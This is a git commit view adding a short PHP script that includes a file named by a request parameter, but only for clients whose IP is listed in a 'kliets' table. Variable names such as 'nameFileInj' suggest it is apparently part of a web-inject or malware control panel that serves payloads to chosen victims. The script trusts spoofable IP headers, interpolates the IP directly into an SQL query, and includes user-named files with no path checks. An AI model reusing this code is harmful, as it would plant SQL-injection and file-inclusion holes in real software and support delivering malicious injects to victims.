initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
+32
View File
@@ -0,0 +1,32 @@
<?php
$nameFileInj = htmlspecialchars($_REQUEST["f"], ENT_QUOTES);
include "../o1o/config.php";
$getip = GetIP();
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT ip FROM kliets WHERE ip='$getip'");
$statement->execute([$getip]);
foreach($statement as $row){
if($row['ip'] == $getip){
include "$nameFileInj.php";
break;
}
}
function GetIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
?>